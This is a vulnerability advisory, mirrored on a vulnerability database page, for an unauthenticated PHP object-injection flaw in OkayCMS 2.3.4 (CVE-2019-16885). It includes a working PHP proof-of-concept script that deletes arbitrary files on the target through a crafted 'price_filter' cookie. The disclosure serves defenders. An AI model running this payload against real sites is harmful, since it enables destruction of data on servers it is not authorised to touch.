Lucene search
K

OkayCMS 2.3.4 Remote Code Execution

🗓️ 06 Dec 2019 00:00:00Reported by Wolfgang HotwagnerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 199 Views

OkayCMS 2.3.4 Remote Code Execution Vulnerability AIT-SA-20191129-01 AIT Austrian Institute of Technology Critical severity. Unauthenticated attacker uploads webshell via crafted cookies "price_filter" and "comparison" passing untrusted values to unserialize()-function. High impact. Mitigation: Upgrade to the patched version or consider alternative software

Related
Code
ReporterTitlePublishedViews
Family
0day.today
OkayCMS 2.3.4 Remote Code Execution Exploit #RCE
8 Dec 201900:00
zdt
CNVD
OkayCMS Remote Code Execution Vulnerability
9 Dec 201900:00
cnvd
CVE
CVE-2019-16885
3 Dec 201919:50
cve
Cvelist
CVE-2019-16885
3 Dec 201919:50
cvelist
NVD
CVE-2019-16885
3 Dec 201920:15
nvd
Prion
Remote code execution
3 Dec 201920:15
prion
RedhatCVE
CVE-2019-16885
22 May 202510:35
redhatcve
Symantec
OkayCMS CVE-2019-16885 Multiple Remote Code Execution Vulnerabilities
29 Sep 201900:00
symantec
`# Unauthenticated remote code execution in OkayCMS  
  
## Overview  
* Identifier: AIT-SA-20191129-01  
* Target: OkayCMS  
* Vendor: OkayCMS  
* Version: all versions including 2.3.4  
* CVE: CVE-2019-16885  
* Accessibility: Local  
* Severity: Critical  
* Author: Wolfgang Hotwagner (AIT Austrian Institute of Technology)  
  
## Summary  
[OkayCMS is a simple and functional content managment system for an online store.](https://okay-cms.com)  
  
## Vulnerability Description  
An unauthenticated attacker can upload a webshell by injecting a malicious php-object via a crafted cookie. This could happen at two places. First in "view/ProductsView.php" using the cookie "price_filter" or in "api/Comparison.php" via the cookie "comparison". Both cookies will pass untrusted values to a unserialize()-function. The following code shows the vulnerability in "api/Comparison.php":  
  
```  
$items = !empty($_COOKIE['comparison']) ? unserialize($_COOKIE['comparison']) : array();  
```  
  
The unsafe deserialization also occurs in "view/ProductsView.php":  
  
```  
$price_filter = unserialize($_COOKIE['price_filter']);  
```  
  
  
## Proof of Concept  
The following code utilizes an object of the smarty-component to delete arbitrary files from the webhost:  
  
```  
<?php  
  
if($argc != 3)  
{  
print "usage: $argv[0] <url> <file>\n";  
exit(1);  
}  
  
$url = $argv[1];  
$file = $argv[2];  
  
class Smarty_Internal_CacheResource_File {  
  
public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached) {  
$cached->is_locked = false;  
@unlink($cached->lock_id);  
}  
}  
  
class Smarty_Template_Cached {  
public $handler = null;  
public $is_locked = true;  
public $lock_id = "";  
  
public function __construct() {  
$this->lock_id = $GLOBALS['file'];  
$this->handler = new Smarty_Internal_CacheResource_File;  
}  
}  
  
  
class Smarty {  
public $cache_locking = true;  
}  
  
class Smarty_Internal_Template {  
public $smarty = null;  
public $cached = null;  
  
public function __construct() {  
$this->smarty = new Smarty;  
$this->cached = new Smarty_Template_Cached;  
}  
  
public function __destruct(){  
if ($this->smarty->cache_locking && isset($this->cached) && $this->cached->is_locked) {  
$this->cached->handler->releaseLock($this->smarty, $this->cached);  
}  
}  
}  
  
$obj = new Smarty_Internal_Template();  
  
$serialized = serialize($obj);  
  
$un = unserialize($serialized);  
  
$headers = [  
'Accept-Language: en-US,en;q=0.5',  
"Referer: $url/en/catalog/myagkie-igrushki",  
'Cookie: ' . 'price_filter=' . urlencode($serialized) . ';'  
];  
  
$curl = curl_init();  
curl_setopt_array($curl, [  
CURLOPT_HTTPHEADER => $headers,  
CURLOPT_RETURNTRANSFER => true,  
CURLOPT_URL => "$url/en/catalog/myagkie-igrushki/sort-price",  
CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0'  
]);  
$resp = curl_exec($curl);  
if(curl_error($curl)) {  
print curl_error($curl);  
}  
curl_close($curl);  
  
  
print $resp;  
  
?>  
```  
  
## Notes  
Because of the high severity of this vulnerability we will not release a full exploit for the remote code execution.  
  
## Vulnerable Versions  
versions of the “Lite”-branch including 2.3.4. Pro Versions prior 3.0.2 might have been affected too.  
  
## Tested Versions  
OkayCMS-Lite 2.3.4  
  
## Impact  
An unauthenticated attacker could upload a webshell to the server and execute commands remotely.  
  
## Mitigation  
At the moment of this publication the vendor has only patched the paid version of the CMS, so a change to other free software or an upgrade to the Pro version of OkayCMS is recommended.  
  
## References:  
* https://nvd.nist.gov/vuln/detail/CVE-2019-16885  
  
## Vendor Contact Timeline  
  
* `2019-08-29` Contacting the vendor  
* `2019-09-04` Vendor replied  
* `2019-09-17` Vendor released commercial version 3.0.2 including a bugfix  
* `2019-09-29` Public disclosure  
  
## Advisory URL  
[https://www.ait.ac.at/ait-sa-20191129-01-unauthenticated-remote-code-execution-okaycms](https://www.ait.ac.at/ait-sa-20191129-01-unauthenticated-remote-code-execution-okaycms)  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation